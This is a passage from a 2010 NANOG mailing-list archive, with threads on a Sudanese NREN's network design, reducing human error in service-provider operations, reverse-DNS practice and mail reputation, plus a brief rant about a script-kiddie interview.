Alwarrag) Date: Tue, 2 Feb 2010 09:10:49 +0300 Subject: [NANOG] NREN Network Design In-Reply-To: <24049197.2224.1265077587781.JavaMail.root@mail.sustech.edu> References: <24049197.2224.1265077587781.JavaMail.root@mail.sustech.edu> Message-ID: <0E2D602CF7F4BB4996E7755657326AE278CE46@blue.app-tec.com> Tariq It's really nice to hear from Sudan in NANOG :) , the problem as Alex state it's not clear at all a PI address / BGP peering could be a solutions for it , VNE (Virtual Network Environment) it's to isolate the applications located in one machine in virtual networks like ( VMware ) using it , so can you please give us more details about the problem Thanks a lot Rashed Alwarrag Applied Technologies NOC Manager -----Original Message----- From: Tarig Yassin Adam [mailto:tarig at suin.edu.sd] Sent: Tuesday, February 02, 2010 5:26 AM To: nanog at nanog.org Subject: [NANOG] NREN Network Design I'm try to redesign the Sudanese NREN (National Research & Education Network). we provide end to end service,to our customers. Our network is build over local ISPs. But the problem of the current design that each time we need to go back to the ISP to change our Infrastructure IP addresses, when the situation need this.How can solve this? I heard about something called Virtual Network Environment which give us the full control of ISP routers, is it the best solution? What about others NRENs.Thanks Normal0falsefalsefalseEN-USX-NONEAR-SAMicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin;} --------------------------------- Eng. Tarig Yassin Adam Sudanese Universities' Information Network (SUIN) T: +249925659149 E: tarig at sustech.edu From charles at knownelement.com Tue Feb 2 02:04:06 2010 From: charles at knownelement.com (charles at knownelement.com) Date: Tue, 2 Feb 2010 08:04:06 +0000 Subject: Fiber Cut in CA? Message-ID: <1685579605-1265097857-cardhu_decombobulator_blackberry.rim.net-566927336-@bda609.bisx.prod.on.blackberry> That is one long protect path. Yikes. Sent via BlackBerry from T-Mobile From gb10hkzo-nanog at yahoo.co.uk Tue Feb 2 06:26:03 2010 From: gb10hkzo-nanog at yahoo.co.uk (gb10hkzo-nanog at yahoo.co.uk) Date: Tue, 2 Feb 2010 12:26:03 +0000 (GMT) Subject: Mitigating human error in the SP Message-ID: <541071.72559.qm@web24702.mail.ird.yahoo.com> >>Otherwise, as Suresh notes, the only way to eliminate human error completely is >>to eliminate the presence of humans in the activity. and,hence by reference..... >> Automated config deployment / provisioning. That's the funniest thing I've read all day... ;-) A little pessimistic rant.... ;-) Who writes the scripts that you use, who writes the software that you use ? There will always be at least one human somewhere, and where there's a human writing software tools, there's scope for bugs and unexpected issues. Whether inadvertent or not, they will always be there. If the excrement is going to hit the proverbial fan, try as you might to stop it, it will happen. Nothing in the IT / ISP / Telco world is ever going to be perfect, far too complex with many dependencies. Yes you might play in your perfect little labs until the cows come home ..... but there always has been and always will be an element of risk when you start making changes in production. Face it, unless you follow the rigorous change control and development practices that they use for avionics or other high-risk environments, you are always going to be left with some element of risk. How much risk your company is prepared to take is something for the men in black (suits) to decide because it correlates directly with how much $$$ they are prepared to throw your way to help you mitigate the risk .....;-) That's my 2 over ...... thanks for listening (or not !).... ;-) From rickt at stickam.com Tue Feb 2 06:26:03 2010 From: rickt at stickam.com (Rick Tait) Date: Tue, 2 Feb 2010 04:26:03 -0800 Subject: [Pauldotcom] Skiddy Interview In-Reply-To: <4b6ee9311001301436u631e27a1r6b66c860b65c83d2@mail.gmail.com> References: <4b6ee9311001301331p5b77c296ua22c7b9d8b1e9961@mail.gmail.com> <4b6ee9311001301436u631e27a1r6b66c860b65c83d2@mail.gmail.com> Message-ID: <468ba22a1002020426n43c0fb04s6e6fc9c36a012ac2@mail.gmail.com> This self-proclaimed "hacker" was no more than a script-kiddie with a spot of luck and half a brain enough to follow social-media-password chains. What an absolute buffoon. I applaud the English student interviewer for maintaining his composure while wasting his time with the "black hat", who by the way [I'll save listmembers the torture of listening to elevated rants about his "sql injections in the PHP" and his "paypal hacks" and his net total $ gain of maybe $5000 over 4+ years of his extreme hacking] is 18 years old, in the middle of getting married and starting a family, but he'd give it all up to work for the FBI to "you know, help out with the hacking scene, and stop all the DDoSing wars between hacker crews". Perhaps the most appalling thing was that he could barely muster up a single question to ask his composed, educated and interesting interviewer, except what it would be like to meet a "black hat", [ie himself]. My god. One almost wants a member of a real (ie, foreign, serious $$$-earning) hacker "crew" to swoop down on one of these morons and pwn them in such an egregious manner so they might understand what a real penetration expert is and be so scared as to. just. stop. *facepalm* -- Rick Tait e: rickt at stickam.com t: 213-915-UNIX Charles de Gaulle - "The better I get to know men, the more I find myself loving dogs." On Sat, Jan 30, 2010 at 2:36 PM, andrew.wallace < andrew.wallace at rocketmail.com> wrote: > ---------- Forwarded message ---------- > From: andrew.wallace > Date: Sat, Jan 30, 2010 at 9:31 PM > Subject: Re: [Pauldotcom] Skiddy Interview > To: Adrian Crenshaw > Cc: PaulDotCom Security Weekly Mailing List < > pauldotcom at mail.pauldotcom.com> > > > On Sat, Jan 30, 2010 at 3:10 PM, Adrian Crenshaw > wrote: > > Kind of interesting Skiddy Interview: > > > > http://hackerpublicradio.org/eps/hpr0505.mp3 > > > > Guy seems pretty uneducated, but it gives you an idea of the mentality. > No > > offence meant to the HPR podcast, it has some good stuff. > > Like your comments. > > > > Adrian > > > > He mentions selling a Bank of America employee account starting around > 7 minutes 40 seconds, which just suffered a Denial of Service attack > to its website. > > http://isc.sans.org/diary.html?storyid=8119 > > Any connection? > > Of course probably not, but just thought i'd throw it out there anyway. > > Andrew > > From gordslater at ieee.org Tue Feb 2 06:57:12 2010 From: gordslater at ieee.org (gordon b slater) Date: Tue, 02 Feb 2010 12:57:12 +0000 Subject: Mitigating human error in the SP In-Reply-To: <541071.72559.qm@web24702.mail.ird.yahoo.com> References: <541071.72559.qm@web24702.mail.ird.yahoo.com> Message-ID: <1265115433.10091.32.camel@ub-g-d2> On Tue, 2010-02-02 at 12:26 +0000, gb10hkzo-nanog at yahoo.co.uk wrote: > Nothing in the IT / ISP / Telco world is ever going to be perfect, > far too complex with many dependencies. Yes you might play in your > perfect little labs until the cows come home ..... but there always > has been and always will be an element of risk when you start making > changes in production. > Face it, unless you follow the rigorous change control and development > practices that they use for avionics or other high-risk environments, > you are always going to be left with some element of risk. Agreed. I'd say that 10 minutes of checklist creation at the onset of a change plan, then 5 minutes of checklist revision/debrief per day is time well spent. After a couple of months attitudes to SOPs usually change. _insert duplicate of aviation-style check-listing and human factors reporting thread here_ Gord -- next thread: Stateful Firewalls vs Randy, round two, `ding-ding` followed by: "help - SORBS has me blacklisted", again :) From nanog at 85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org Tue Feb 2 07:16:29 2010 From: nanog at 85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org (Mark Smith) Date: Tue, 2 Feb 2010 23:46:29 +1030 Subject: Mitigating human error in the SP In-Reply-To: References: Message-ID: <20100202234629.7c7cf8cf@opy.nosense.org> On Mon, 1 Feb 2010 21:21:52 -0500 Chadwick Sorrell wrote: > Hello NANOG, > > Long time listener, first time caller. > > A recent organizational change at my company has put someone in charge > who is determined to make things perfect. We are a service provider, > not an enterprise company, and our business is doing provisioning work > during the day. We recently experienced an outage when an engineer, > troubleshooting a failed turn-up, changed the ethertype on the wrong > port losing both management and customer data on said device. This > isn't a common occurrence, and the engineer in question has a pristine > track record. > Why didn't the customer have a backup link if their service was so important to them and indirectly your upper management? If your upper management are taking this problem that seriously, then your *sales people* didn't do their job properly - they should be ensuring that customers with high availability requirements have a backup link, or aren't led to believe that the single-point-of-failure service will be highly available. > This outage, of a high profile customer, triggered upper management to > react by calling a meeting just days after. Put bluntly, we've been > told "Human errors are unacceptable, and they will be completely > eliminated. One is too many." > If upper management don't understand that human error is a risk factor that can't be completely eliminated, then I suggest "self-eliminating" and find yourself a job somewhere else. The only way you'll avoid human error having any impact on production services is to not change anything - which pretty much means not having a job anyway ... > I am asking the respectable NANOG engineers.... > > What measures have you taken to mitigate human mistakes? > > Have they been successful? > > Any other comments on the subject would be appreciated, we would like > to come to our next meeting armed and dangerous. > > Thanks! > Chad > From nick at foobar.org Tue Feb 2 07:51:25 2010 From: nick at foobar.org (Nick Hilliard) Date: Tue, 02 Feb 2010 13:51:25 +0000 Subject: Mitigating human error in the SP In-Reply-To: References: Message-ID: <4B682DDD.9020605@foobar.org> On 02/02/2010 02:21, Chadwick Sorrell wrote: > This outage, of a high profile customer, triggered upper management to > react by calling a meeting just days after. Put bluntly, we've been > told "Human errors are unacceptable, and they will be completely > eliminated. One is too many." Leaving the PHB rhetoric aside for a few moments, this comes down to two things: 1. cost vs. return and 2. realisation that service availability is a matter of risk management, not a product bolt-on that you can install in your operations department in a matter of days. Pilot error can be substantially reduced by a variety of different things, most notably good quality training, good quality procedures and documentation, lab staging of all potentially service-affecting operations, automation of lots of tasks, good quality change management control, pre/post project analysis, and basic risk analysis of all regular procedures. You'll note that all of these things cost time and money to develop, implement and maintain; also, depending on the operational service model which you currently use, some of them may dramatically affect operational productivity one way or another. This often leads to a significant increase in staffing / resourcing costs in order to maintain similar levels of operational service. It also tends to lead to inflexibility at various levels, which can have a knock-on effect in terms of customer expectation. Other things which will help your situation from a customer interaction point of view is rigorous use of maintenance windows and good communications to ensure that they understand that there are risks associated with maintenance. Your management is obviously pretty upset about this incident. If they want things to change, then they need to realise that reducing pilot error is not just a matter of getting someone to bark at the tech people until the problem goes away. They need to be fully aware at all levels that risk management of this sort is a major undertaking for a small company, and that it needs their full support and buy-in. Nick From tarig at suin.edu.sd Tue Feb 2 14:56:53 2010 From: tarig at suin.edu.sd (Tarig Y. Adam) Date: Tue, 2 Feb 2010 15:56:53 -0500 (EST) Subject: [NANOG] NREN Network Design In-Reply-To: <0E2D602CF7F4BB4996E7755657326AE278CE46@blue.app-tec.com> Message-ID: <9363164.2449.1265144213498.JavaMail.root@mail.sustech.edu> Hi Rashed This my first time to hear about app-tec company. I'm very happy to see this in Sudan. In fact We applied for PI address form AfriNIC and our request is approved. But the current design depends on our ISP (SUDATEL) and we using their routers. we have a router (One point to access our NREN) in every University, and two NOCs in our TOP Universities (Sudan, and Khartoum), for connecting them our ISP interconnect them with MPLS VPN layer3 at Provider Edge. So our traffic is routed via through their ISP. I think this is the problem. but how we can solve it???? Thanks Normal0falsefalsefalseEN-USX-NONEAR-SAMicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin;} --------------------------------- Eng. Tarig Yassin Adam Sudanese Universities' Information Network (SUIN) T: +249925659149 ----- Original Message ----- From: Rashed Alwarrag To: Tarig Yassin Adam , Cc: Date: Tuesday, February 2 2010 08:01 AM Subject: RE: [NANOG] NREN Network Design Tariq It's really nice to hear from Sudan in NANOG :) , the problem as Alex state it's not clear at all a PI address / BGP peering could be a solutions for it , VNE (Virtual Network Environment) it's to isolate the applications located in one machine in virtual networks like ( VMware ) using it , so can you please give us more details about the problem Thanks a lot Rashed Alwarrag Applied Technologies NOC Manager -----Original Message----- From: Tarig Yassin Adam [mailto:tarig at suin.edu.sd] Sent: Tuesday, February 02, 2010 5:26 AM To: nanog at nanog.org Subject: [NANOG] NREN Network Design I'm try to redesign the Sudanese NREN (National Research & Education Network). we provide end to end service,to our customers. Our network is build over local ISPs. But the problem of the current design that each time we need to go back to the ISP to change our Infrastructure IP addresses, when the situation need this.How can solve this? I heard about something called Virtual Network Environment which give us the full control of ISP routers, is it the best solution? What about others NRENs.Thanks Normal0falsefalsefalseEN-USX-NONEAR-SAMicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin;} --------------------------------- Eng. Tarig Yassin Adam Sudanese Universities' Information Network (SUIN) T: +249925659149 E: tarig at sustech.edu From pcorrao at voxeo.com Tue Feb 2 08:09:30 2010 From: pcorrao at voxeo.com (Paul Corrao) Date: Tue, 2 Feb 2010 09:09:30 -0500 Subject: Mitigating human error in the SP In-Reply-To: <20100202234629.7c7cf8cf@opy.nosense.org> References: <20100202234629.7c7cf8cf@opy.nosense.org> Message-ID: Humans make errors. For your upper management to think they can build a foundation of reliability on the theory that humans won't make errors is self deceiving. But that isn't where the story ends. That's where it begins. Your infrastructure, processes and tools should all be designed with that in mind so as to reduce or eliminate the impact that human error will have on the reliability of the service you provide to your customers. So, for the example you gave there are a few things that could be put in place. The first one, already mentioned by Chad, is that mission critical services should not be designed with single points of failure - that situation should be remediated. Another question to be asked - since this was provisioning work being done, and it was apparently being done on production equipment, could the work have been done at a time of day (or night) when an error would not have been as much of a problem? You don't say how long the outage lasted, but given the reaction by your upper management, I would infer that it lasted for a while. That raises the next question. Who besides the engineer making the mistake was aware of the fact that work on production equipment was occurring? The reason this is important is because having the NOC know that work is occurring would give them a leg up on locating where the problem is once they get the trouble notification. Paul On Feb 2, 2010, at 8:16 AM, Mark Smith wrote: > On Mon, 1 Feb 2010 21:21:52 -0500 > Chadwick Sorrell wrote: > >> Hello NANOG, >> >> Long time listener, first time caller. >> >> A recent organizational change at my company has put someone in charge >> who is determined to make things perfect. We are a service provider, >> not an enterprise company, and our business is doing provisioning work >> during the day. We recently experienced an outage when an engineer, >> troubleshooting a failed turn-up, changed the ethertype on the wrong >> port losing both management and customer data on said device. This >> isn't a common occurrence, and the engineer in question has a pristine >> track record. >> > > Why didn't the customer have a backup link if their service was so > important to them and indirectly your upper management? If your > upper management are taking this problem that seriously, then your > *sales people* didn't do their job properly - they should be ensuring > that customers with high availability requirements have a backup link, > or aren't led to believe that the single-point-of-failure service will > be highly available. > > >> This outage, of a high profile customer, triggered upper management to >> react by calling a meeting just days after. Put bluntly, we've been >> told "Human errors are unacceptable, and they will be completely >> eliminated. One is too many." >> > > If upper management don't understand that human error is a risk factor > that can't be completely eliminated, then I suggest "self-eliminating" > and find yourself a job somewhere else. The only way you'll avoid > human error having any impact on production services is to not change > anything - which pretty much means not having a job anyway ... > > >> I am asking the respectable NANOG engineers.... >> >> What measures have you taken to mitigate human mistakes? >> >> Have they been successful? >> >> Any other comments on the subject would be appreciated, we would like >> to come to our next meeting armed and dangerous. >> >> Thanks! >> Chad >> > From pcorrao at voxeo.com Tue Feb 2 08:09:54 2010 From: pcorrao at voxeo.com (Paul Corrao) Date: Tue, 2 Feb 2010 09:09:54 -0500 Subject: Mitigating human error in the SP In-Reply-To: <20100202234629.7c7cf8cf@opy.nosense.org> References: <20100202234629.7c7cf8cf@opy.nosense.org> Message-ID: Humans make errors. For your upper management to think they can build a foundation of reliability on the theory that humans won't make errors is self deceiving. But that isn't where the story ends. That's where it begins. Your infrastructure, processes and tools should all be designed with that in mind so as to reduce or eliminate the impact that human error will have on the reliability of the service you provide to your customers. So, for the example you gave there are a few things that could be put in place. The first one, already mentioned by Chad, is that mission critical services should not be designed with single points of failure - that situation should be remediated. Another question to be asked - since this was provisioning work being done, and it was apparently being done on production equipment, could the work have been done at a time of day (or night) when an error would not have been as much of a problem? You don't say how long the outage lasted, but given the reaction by your upper management, I would infer that it lasted for a while. That raises the next question. Who besides the engineer making the mistake was aware of the fact that work on production equipment was occurring? The reason this is important is because having the NOC know that work is occurring would give them a leg up on locating where the problem is once they get the trouble notification. Paul On Feb 2, 2010, at 8:16 AM, Mark Smith wrote: > On Mon, 1 Feb 2010 21:21:52 -0500 > Chadwick Sorrell wrote: > >> Hello NANOG, >> >> Long time listener, first time caller. >> >> A recent organizational change at my company has put someone in charge >> who is determined to make things perfect. We are a service provider, >> not an enterprise company, and our business is doing provisioning work >> during the day. We recently experienced an outage when an engineer, >> troubleshooting a failed turn-up, changed the ethertype on the wrong >> port losing both management and customer data on said device. This >> isn't a common occurrence, and the engineer in question has a pristine >> track record. >> > > Why didn't the customer have a backup link if their service was so > important to them and indirectly your upper management? If your > upper management are taking this problem that seriously, then your > *sales people* didn't do their job properly - they should be ensuring > that customers with high availability requirements have a backup link, > or aren't led to believe that the single-point-of-failure service will > be highly available. > > >> This outage, of a high profile customer, triggered upper management to >> react by calling a meeting just days after. Put bluntly, we've been >> told "Human errors are unacceptable, and they will be completely >> eliminated. One is too many." >> > > If upper management don't understand that human error is a risk factor > that can't be completely eliminated, then I suggest "self-eliminating" > and find yourself a job somewhere else. The only way you'll avoid > human error having any impact on production services is to not change > anything - which pretty much means not having a job anyway ... > > >> I am asking the respectable NANOG engineers.... >> >> What measures have you taken to mitigate human mistakes? >> >> Have they been successful? >> >> Any other comments on the subject would be appreciated, we would like >> to come to our next meeting armed and dangerous. >> >> Thanks! >> Chad >> > From tarig at suin.edu.sd Tue Feb 2 15:18:52 2010 From: tarig at suin.edu.sd (Tarig Y. Adam) Date: Tue, 2 Feb 2010 16:18:52 -0500 (EST) Subject: NREN Network Design In-Reply-To: <20100202094410.GA16462@nic.fr> Message-ID: <4491235.2454.1265145532745.JavaMail.root@mail.sustech.edu> Hi Stephane thanks, your scheme is very expressive.And sorry for forgetting to send this message to my own list (afnog). regarding the subject the next hop of default route of our customers are ISP routers then SUIN routers. Is this a normal situation??? Normal0falsefalsefalseEN-USX-NONEAR-SAMicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin;} --------------------------------- Eng. Tarig Yassin Adam Sudanese Universities' Information Network (SUIN) T: +249925659149 ----- Original Message ----- From: Stephane Bortzmeyer To: Tarig Yassin Adam Cc: Phil Regnauld , Date: Tuesday, February 2 2010 11:40 AM Subject: Re: NREN Network Design On Mon, Feb 01, 2010 at 10:04:07PM -0500, Tarig Yassin Adam wrote a message of 597 lines which said: > hi phil [And thanks for forwarding this discussion where it belongs. It is sad that a discussion on an african NREN was first carried to a North America list.] > We already applied to AfriNIC, they allocated to us /18 ipv4 we're > using two ISPs to connect to our customers and the same time we're > using these ISPs for the Internet. And you use BGP? You have your own AS? > The ISP using tunnel layer 3. I am sorry, I cannot parse this sentence. > For customer sites to reach our NOC they need next hop to the ISP > routers which we do not have a control. The way I understand it (you are really short on details), the universities are your customers and there is always an ISP between NREN and UNI: +---------+ | | +---------+ | NREN |---------| ISP 1 |------- UNI 1 +---------+ +---------+ | | \ +--------+ | \ | ISP 2 | +-----------+ \ +--------+-------| Internet | +--------+ | | +-----------+ | UNI 2 | | | | | +------+ +-------+ +--------+ |UNI 3 | | UNI 4 | +------+ +-------+ Is my schema OK? If no, please provide yours. If yes, I wonder, what service provides the NREN if no connectivity? If you just provide Internet servers (HTTP, XMPP, etc), there is no need to "tunnel" anything over the ISP. From nanog-post at rsuc.gweep.net Tue Feb 2 08:26:49 2010 From: nanog-post at rsuc.gweep.net (Joe Provo) Date: Tue, 2 Feb 2010 09:26:49 -0500 Subject: Mitigating human error in the SP In-Reply-To: References: Message-ID: <20100202142649.GA48274@gweep.net> On Mon, Feb 01, 2010 at 09:21:52PM -0500, Chadwick Sorrell wrote: > Hello NANOG, > > Long time listener, first time caller. [snip] > What measures have you taken to mitigate human mistakes? > > Have they been successful? > > Any other comments on the subject would be appreciated, we would like > to come to our next meeting armed and dangerous. Define your processes well, have management sign off so no blame game and people realize they are all on the same side Use peer review. Don't start automating until you have a working system, and then get the humans out of the repetitive bits. Don't build monolithic systems. Test your automation well. Be sure have the symmetric *de-provisioning* to any provisioning else you will be relying on humans to clean out the cruft instead of addressing the problem. Extend accountability throughout the organization - replace commission- minded sales folks with relationship-minded account management. Always have OoB. Require vendors to be *useful* under OoB conditions, at least to your more advanced employees. Expect errors in the system and in execution; develop ways to check for them and be prepared to modify methods, procedures and tools without multiple years and inter-departmental bureaucracy. Change and errors happen, so capitalize on to those events to improve you service and systems rather than emphasizing punishment. Cheers, Joe -- RSUC / GweepNet / Spunk / FnB / Usenix / SAGE From drew.weaver at thenap.com Tue Feb 2 08:37:44 2010 From: drew.weaver at thenap.com (Drew Weaver) Date: Tue, 2 Feb 2010 09:37:44 -0500 Subject: Threading the senderbase reputation needle Message-ID: Howdy, Has anyone come up with a reverse DNS 'pattern' that one can employ that will prevent Senderbase from assigning a poor reputation to an entire /24 because they saw an email they didn't like from a single IP address? We're an infrastructure provider, which means that we lease servers, etc to customers and everything we do uses static IPs. Our current 'default (before the customer changes it)' is a x.x.x.x.static.domain.com, apparently Senderbase cannot look up CIDR boundaries in the RIR database (even though we spend a lot of time making sure that we publish the CIDR information) so they just assume that each 'offender' owns the entire /24 and they also consider any 'email' from the static.domain.com domain to be the 'same offender' (which is completely silly). The other little annoyance about their system is that we assign CIDR blocks to users (almost always a /29) these CIDRs include IP addresses like the gateway address, the broadcast address, the network address, etc and the users may only use 2-3 of the IPs in the /29, but they expect us or the user to set a 'custom looking' reverse DNS on all of the IPs in the range. Originally, we were not putting any reverse DNS on our IPs until the customer requested it (or did it themselves via our system) but then we ran into problems with some RBLs that require reverse DNS on all IPs, and other RBLs that require matching forward and reverse DNS on all IPs. I've contacted Senderbase for advice on what specifically we need to do but they've been vague at best and I have even asked them for examples of companies who 'meet their specifications' but I wasn't given any. I'm considering doing something like customerXXXXX.static.domain.com but then I can see other problems with that also. Any advice? -Drew From mirotrem at gmail.com Tue Feb 2 09:14:10 2010 From: mirotrem at gmail.com (Chadwick Sorrell) Date: Tue, 2 Feb 2010 10:14:10 -0500 Subject: Mitigating human error in the SP In-Reply-To: References: <20100202234629.7c7cf8cf@opy.nosense.org> Message-ID: On Tue, Feb 2, 2010 at 9:09 AM, Paul Corrao wrote: > Humans make errors. > > For your upper management to think ?they can build a foundation of reliability on the theory that humans won't make errors is self deceiving. > > But that isn't where the story ends. ?That's where it begins. ?Your infrastructure, processes and tools should all be designed with that in mind so as to reduce or eliminate the impact that human error will have on the reliability of the service you provide to your customers. > > So, for the example you gave there are a few things that could be put in place. ?The first one, already mentioned by Chad, is that mission critical services should not be designed with single points of failure - that situation should be remediated. Agreed. > Another question ?to be asked - since this was provisioning work being done, and it was apparently being done on production equipment, could the work have been done at a time of day (or night) when an error would not have been as much of a problem? As it stands now, business want to turn their services up when they are in the office. We do all new turn-ups during the day, anything requiring a roll or maintenance window is schedule in the middle of the night. > You don't say how long the outage lasted, but given the reaction by your upper management, I would infer that it lasted for a while. ?That raises the next question. ?Who besides the engineer making the mistake was aware of the fact that work on production equipment was occurring? ?The reason this is important is because having the NOC know that work is occurring would give them a leg up on locating where the problem is once they get the trouble notification. The actual error happened when someone was troubleshooting a turn-up, where in the past the customer in question has had their ethertype set wrong. It wasn't a provisioning problem as much as someone troubleshooting why it didn't come up with the customer. Ironically, the NOC was on the phone when it happened, and the switch was rebooted almost immediately and the outage lasted 5 minutes. Chad From jasongurtz at npumail.com Tue Feb 2 09:21:55 2010 From: jasongurtz at npumail.com (Jason Gurtz) Date: Tue, 2 Feb 2010 10:21:55 -0500 Subject: Threading the senderbase reputation needle In-Reply-To: References: Message-ID: > Has anyone come up with a reverse DNS 'pattern' that one can employ that > will prevent Senderbase from assigning a poor reputation to an entire /24 > because they saw an email they didn't like from a single IP address? > > We're an infrastructure provider, which means that we lease servers, etc > to customers and everything we do uses static IPs. [...] > Any advice? Since email reputation is now being based on the neighborhood theory you must do one of the following: Do one of the following (hopefully #1): 1.) Provide custom reverse DNS for the customer. BCP for SMTP server DNS is matching forward and reverse DNS. Anything else is suspect... 2.) Set up a relay host and funnel all customers mail through it. Side effects of each: 1.) Slightly more work on the front end (but hey, even AT&T will do this for business DSL customers). People will know you have clue. The technical staff at your customers will be happy and recommend you to their peers (well, I guess this depends a bit on what kind of customers you have). 2.) You have taken responsibility for all your customers' outbound mail flows. You will need to scale an abuse desk and maintain effective anti-spam policies (including customer education). If you don't run an effective abuse desk (including blocking your own customers outbound mail when necessary), you will be blacklisted eventually anyway. You could charge extra for or outsource this ESP service. ~JasonG From drew.weaver at thenap.com Tue Feb 2 09:32:46 2010 From: drew.weaver at thenap.com (Drew Weaver) Date: Tue, 2 Feb 2010 10:32:46 -0500 Subject: Threading the senderbase reputation needle In-Reply-To: References: Message-ID: Since email reputation is now being based on the neighborhood theory you must do one of the following: Do one of the following (hopefully #1): 1.) Provide custom reverse DNS for the customer. BCP for SMTP server DNS is matching forward and reverse DNS. Anything else is suspect... 2.) Set up a relay host and funnel all customers mail through it. Side effects of each: 1.) Slightly more work on the front end (but hey, even AT&T will do this for business DSL customers). People will know you have clue. The technical staff at your customers will be happy and recommend you to their peers (well, I guess this depends a bit on what kind of customers you have). 2.) You have taken responsibility for all your customers' outbound mail flows. You will need to scale an abuse desk and maintain effective anti-spam policies (including customer education). If you don't run an effective abuse desk (including blocking your own customers outbound mail when necessary), you will be blacklisted eventually anyway. You could charge extra for or outsource this ESP service. ====== Okay, as I mentioned, we allow the customers to set their reverse DNS to whatever they want as long as the forward and the reverse match. we don't own the customer's domains nor do we host the DNS for 99% of them, so I'm not sure how we could enforce a rule saying that everyone on our network has to have their reverse DNS set a certain way. That is why we set it up like we did, because we can control hostnames within our domain and we can set the PTR record to match. Like I said before we're a hosting company, we sell Co-Lo, Dedicated servers, and Virtualization products. It seems somewhat impossible to employ either of your suggestions in our environment. thanks, -Drew From LarrySheldon at cox.net Tue Feb 2 09:44:08 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Tue, 02 Feb 2010 09:44:08 -0600 Subject: Mitigating human error in the SP In-Reply-To: <541071.72559.qm@web24702.mail.ird.yahoo.com> References: <541071.72559.qm@web24702.mail.ird.yahoo.com> Message-ID: <4B684848.4030300@cox.net> On 2/2/2010 6:26 AM, gb10hkzo-nanog at yahoo.co.uk wrote: > > > >>> Otherwise, as Suresh notes, the only way to eliminate human error >>> completely is to eliminate the presence of humans in the >>> activity. > and,hence by reference..... >>> Automated config deployment / provisioning. > > That's the funniest thing I've read all day... ;-) > > A little pessimistic rant.... ;-) > > Who writes the scripts that you use, who writes the software that you > use ? There will always be at least one human somewhere, and where > there's a human writing software tools, there's scope for bugs and > unexpected issues. Whether inadvertent or not, they will always be > there. > > If the excrement is going to hit the proverbial fan, try as you might > to stop it, it will happen. Nothing in the IT / ISP / Telco world is > ever going to be perfect, far too complex with many dependencies. > Yes you might play in your perfect little labs until the cows come > home ..... but there always has been and always will be an element of > risk when you start making changes in production. > > Face it, unless you follow the rigorous change control and > development practices that they use for avionics or other high-risk > environments, you are always going to be left with some element of > risk. > > How much risk your company is prepared to take is something for the > men in black (suits) to decide because it correlates directly with > how much $$$ they are prepared to throw your way to help you mitigate > the risk .....;-) > > That's my 2 over ...... thanks for listening (or > not !).... ;-) Add to that the stuff that always sounds like a cop-out, even tom the victims--the "human error" made by people not on you payroll, the vendors that are responsible for the misleading (or absent) documentation, for the CLI stuff that doesn't work just the way a reasonable person would expect it too, for the hardware that fails dirty, and on and on--a very long list. Exacerbated by management that cheaps out on equipment, software, documentation, training, and staff. Even with a lab with a rich fabric of equipment, there will be most of the other things to contend with. A reasonable and competent management will not only provide what is needed for a reasonable error rate (which indeed can approach one over 5 nines) but will also provide the means of recovery when the inevitable happens. That might involve "needless" expense like additional staff, redundant equipment, alternate paths, ... But it won't involve whippings until the morale improves or reductions in staff and funding until the errors go away. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From rsk at gsp.org Tue Feb 2 09:45:04 2010 From: rsk at gsp.org (Rich Kulawiec) Date: Tue, 2 Feb 2010 10:45:04 -0500 Subject: Threading the senderbase reputation needle In-Reply-To: References: Message-ID: <20100202154504.GA10839@gsp.org> On Tue, Feb 02, 2010 at 09:37:44AM -0500, Drew Weaver wrote: > Has anyone come up with a reverse DNS 'pattern' that one can employ > that will prevent Senderbase from assigning a poor reputation to an entire > /24 because they saw an email they didn't like from a single IP address? I think this discussion would be much better on the mailop list, but the short answer here is "real mail servers have 